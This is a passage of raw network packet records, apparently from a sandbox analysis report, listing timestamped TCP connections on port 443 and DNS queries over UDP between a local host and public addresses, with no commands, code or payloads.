Mar 6, 2025 22:55:32.431643963 CET	443	49805	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:32.431703091 CET	49805	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:32.432471037 CET	49805	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:32.432600975 CET	443	49805	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:32.432698011 CET	49805	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:32.432713032 CET	443	49805	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:32.485882044 CET	49805	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:32.869779110 CET	443	49805	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:32.869880915 CET	443	49805	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:32.870059013 CET	49805	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:32.870407104 CET	49805	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:32.870448112 CET	443	49805	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:32.880892038 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:32.880985022 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:32.881072044 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:32.881270885 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:32.881309032 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.058958054 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.059330940 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.059355974 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.060235977 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.060298920 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.061244965 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.061304092 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.061497927 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.061506987 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.110553026 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.587801933 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.587821007 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.587997913 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.588016033 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.588049889 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.588089943 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.588110924 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.588143110 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.588143110 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.588143110 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.588174105 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.647330046 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.647516966 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.647602081 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:35.647672892 CET	443	49811	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:35.647718906 CET	49811	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:38.351232052 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:38.351260900 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:38.351325989 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:38.351620913 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:38.351715088 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:38.351758957 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:38.351788044 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:38.351789951 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:38.352127075 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:38.352166891 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:38.358334064 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:38.358413935 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:38.358490944 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:38.358784914 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:38.358819008 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:40.213511944 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:40.266606092 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:40.387693882 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:40.387718916 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:40.391562939 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:40.391592979 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:40.391638994 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:40.438667059 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:40.438697100 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:40.439306021 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:40.439582109 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:40.458579063 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.458764076 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.458828926 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.459156990 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.459471941 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.459542036 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.459670067 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.459709883 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.464303017 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.464498997 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.464512110 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.468372107 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.468436956 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.468965054 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.469048977 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.469124079 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.469130993 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.485285997 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:40.485320091 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:55:40.516359091 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.531593084 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:55:40.966073036 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.966243982 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.966305971 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.967848063 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.967870951 CET	443	49825	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:40.967880011 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.967910051 CET	49825	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:40.976241112 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:40.976341009 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:40.976411104 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:40.976597071 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:40.976633072 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:41.118626118 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.118647099 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.118659973 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.118675947 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.118794918 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.118794918 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.118864059 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.118927002 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.201016903 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.201078892 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.201128960 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.201164007 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.201183081 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.201200962 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.241940975 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.241990089 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.242017031 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.242055893 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.242077112 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.242094040 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.242100000 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.242388964 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.242440939 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.243959904 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.243987083 CET	443	49826	20.190.160.132	192.168.2.5
Mar 6, 2025 22:55:41.244002104 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:41.244028091 CET	49826	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:55:42.726435900 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:42.747562885 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:42.747600079 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:42.748614073 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:42.748703957 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:42.796114922 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:42.796226025 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:42.796257019 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:42.840327978 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:42.848193884 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:42.848253012 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:42.891493082 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:43.248934984 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:43.249011993 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:43.249078989 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:43.249161005 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:43.249212027 CET	443	49835	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:43.249272108 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:43.249272108 CET	49835	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:43.249856949 CET	49846	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:43.249937057 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:43.250010014 CET	49846	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:43.250349045 CET	49846	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:43.250382900 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:45.084173918 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:45.096275091 CET	49846	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:45.096311092 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:45.096636057 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:45.096899033 CET	49846	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:45.096966028 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:45.097033024 CET	49846	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:45.097049952 CET	49846	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:45.097062111 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:50.160876036 CET	49878	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:55:50.160932064 CET	443	49878	172.217.16.196	192.168.2.5
Mar 6, 2025 22:55:50.161015987 CET	49878	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:55:50.161295891 CET	49878	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:55:50.161313057 CET	443	49878	172.217.16.196	192.168.2.5
Mar 6, 2025 22:55:52.000406981 CET	443	49878	172.217.16.196	192.168.2.5
Mar 6, 2025 22:55:52.000849009 CET	49878	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:55:52.000866890 CET	443	49878	172.217.16.196	192.168.2.5
Mar 6, 2025 22:55:52.001960039 CET	443	49878	172.217.16.196	192.168.2.5
Mar 6, 2025 22:55:52.002305984 CET	49878	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:55:52.002489090 CET	443	49878	172.217.16.196	192.168.2.5
Mar 6, 2025 22:55:52.049545050 CET	49878	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:55:52.215760946 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:52.215847969 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:55:52.215920925 CET	49846	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:52.216142893 CET	49846	443	192.168.2.5	95.101.54.226
Mar 6, 2025 22:55:52.216166973 CET	443	49846	95.101.54.226	192.168.2.5
Mar 6, 2025 22:56:01.535903931 CET	443	49878	172.217.16.196	192.168.2.5
Mar 6, 2025 22:56:01.536066055 CET	443	49878	172.217.16.196	192.168.2.5
Mar 6, 2025 22:56:01.536144972 CET	49878	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:56:02.065406084 CET	49878	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:56:02.065470934 CET	443	49878	172.217.16.196	192.168.2.5
Mar 6, 2025 22:56:04.293518066 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:04.293565989 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:04.293653965 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:04.294331074 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:04.294363022 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:06.392252922 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:06.392570972 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:06.392635107 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:06.393862963 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:06.394162893 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:06.394339085 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:06.394344091 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:06.394381046 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:06.394458055 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:06.448796988 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:07.034575939 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:07.034662962 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:07.034696102 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:07.034723043 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:07.181725979 CET	49916	443	192.168.2.5	20.190.160.132
Mar 6, 2025 22:56:07.181762934 CET	443	49916	20.190.160.132	192.168.2.5
Mar 6, 2025 22:56:07.211369991 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:07.211438894 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:07.211544037 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:07.211757898 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:07.211788893 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:09.426214933 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:09.438707113 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:09.438770056 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:09.439740896 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:09.439821959 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:09.489608049 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:09.489787102 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:09.490086079 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:09.490128040 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:09.534913063 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:09.938503981 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:09.938561916 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:09.938594103 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:09.940036058 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:09.940069914 CET	443	49925	40.126.32.133	192.168.2.5
Mar 6, 2025 22:56:09.940119028 CET	49925	443	192.168.2.5	40.126.32.133
Mar 6, 2025 22:56:15.436625957 CET	49800	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:56:15.436640978 CET	443	49800	13.107.6.156	192.168.2.5
Mar 6, 2025 22:56:25.500149965 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:56:25.500211000 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:56:32.064135075 CET	49800	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:56:32.064371109 CET	443	49800	13.107.6.156	192.168.2.5
Mar 6, 2025 22:56:32.064627886 CET	49800	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:56:42.064129114 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:56:42.064207077 CET	443	49828	13.107.6.156	192.168.2.5
Mar 6, 2025 22:56:42.064336061 CET	49828	443	192.168.2.5	13.107.6.156
Mar 6, 2025 22:56:50.220176935 CET	50016	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:56:50.220205069 CET	443	50016	172.217.16.196	192.168.2.5
Mar 6, 2025 22:56:50.220288038 CET	50016	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:56:50.220561028 CET	50016	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:56:50.220575094 CET	443	50016	172.217.16.196	192.168.2.5
Mar 6, 2025 22:56:52.013367891 CET	443	50016	172.217.16.196	192.168.2.5
Mar 6, 2025 22:56:52.013680935 CET	50016	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:56:52.013690948 CET	443	50016	172.217.16.196	192.168.2.5
Mar 6, 2025 22:56:52.014343977 CET	443	50016	172.217.16.196	192.168.2.5
Mar 6, 2025 22:56:52.014626980 CET	50016	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:56:52.014722109 CET	443	50016	172.217.16.196	192.168.2.5
Mar 6, 2025 22:56:52.062776089 CET	50016	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:57:01.724790096 CET	443	50016	172.217.16.196	192.168.2.5
Mar 6, 2025 22:57:01.724945068 CET	443	50016	172.217.16.196	192.168.2.5
Mar 6, 2025 22:57:01.725008011 CET	50016	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:57:02.065139055 CET	50016	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:57:02.065155029 CET	443	50016	172.217.16.196	192.168.2.5
Mar 6, 2025 22:57:50.291029930 CET	50061	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:57:50.291081905 CET	443	50061	172.217.16.196	192.168.2.5
Mar 6, 2025 22:57:50.291162014 CET	50061	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:57:50.291445971 CET	50061	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:57:50.291460991 CET	443	50061	172.217.16.196	192.168.2.5
Mar 6, 2025 22:57:52.015906096 CET	443	50061	172.217.16.196	192.168.2.5
Mar 6, 2025 22:57:52.016418934 CET	50061	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:57:52.016432047 CET	443	50061	172.217.16.196	192.168.2.5
Mar 6, 2025 22:57:52.016901016 CET	443	50061	172.217.16.196	192.168.2.5
Mar 6, 2025 22:57:52.017172098 CET	50061	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:57:52.017250061 CET	443	50061	172.217.16.196	192.168.2.5
Mar 6, 2025 22:57:52.063194036 CET	50061	443	192.168.2.5	172.217.16.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 6, 2025 22:54:45.721417904 CET	64369	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:45.721493006 CET	61528	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:45.734946012 CET	53	64369	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:45.734982014 CET	53	61528	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:45.745691061 CET	53	60962	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:45.750953913 CET	53	60434	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:48.105187893 CET	53	61719	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:50.110394001 CET	63152	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:50.110577106 CET	57776	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:50.117630959 CET	53	63152	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:50.117811918 CET	53	57776	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:50.193864107 CET	55708	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:50.194020033 CET	63380	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:50.196043015 CET	52521	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:50.196208954 CET	57416	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:50.197760105 CET	59169	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:50.198070049 CET	60566	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:50.201318026 CET	53	55708	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:50.201536894 CET	53	63380	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:50.203283072 CET	53	52521	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:50.203314066 CET	53	57416	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:50.205003023 CET	53	59169	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:50.205061913 CET	53	60566	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:50.435256958 CET	53	64259	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:52.452795982 CET	61368	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:52.453219891 CET	53849	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:52.460155010 CET	53	61368	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:52.460803032 CET	53	53849	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:52.541222095 CET	49542	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:52.541538954 CET	50139	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:52.548247099 CET	53	49542	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:52.549067020 CET	53	50139	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:54.410818100 CET	57998	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:54.410818100 CET	57477	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:54.418174982 CET	53	57477	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:54.418394089 CET	53	57998	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:54.453809977 CET	58977	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:54.453809977 CET	52881	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:54.461400032 CET	53	58977	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:54.462610960 CET	53	52881	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:56.605340958 CET	51350	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:56.605392933 CET	51134	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:54:56.613683939 CET	53	51134	1.1.1.1	192.168.2.5
Mar 6, 2025 22:54:56.616940022 CET	53	51350	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:05.072432041 CET	53	50412	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:07.988082886 CET	61027	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:07.988246918 CET	63868	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:08.039781094 CET	53	63868	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:08.100923061 CET	53	61027	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:12.801538944 CET	56784	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:12.801757097 CET	59032	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:12.852237940 CET	53	56784	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:12.906192064 CET	53	59032	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:24.087868929 CET	53	49592	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:28.235551119 CET	50788	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:28.236088991 CET	55445	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:28.243699074 CET	53	50788	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:28.251234055 CET	53	55445	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:30.543030977 CET	52965	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:30.543188095 CET	64483	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:30.551753044 CET	53	52965	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:30.552123070 CET	53	64483	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:32.872467041 CET	57284	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:32.872606039 CET	59044	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:32.879559994 CET	53	57284	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:32.880440950 CET	53	59044	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:38.347135067 CET	62847	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:38.347981930 CET	63443	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:38.356431007 CET	53	62847	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:38.357598066 CET	53	63443	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:40.967294931 CET	59087	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:40.967451096 CET	58274	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:40.975543022 CET	53	58274	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:40.975790977 CET	53	59087	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:41.127898932 CET	64774	53	192.168.2.5	1.1.1.1
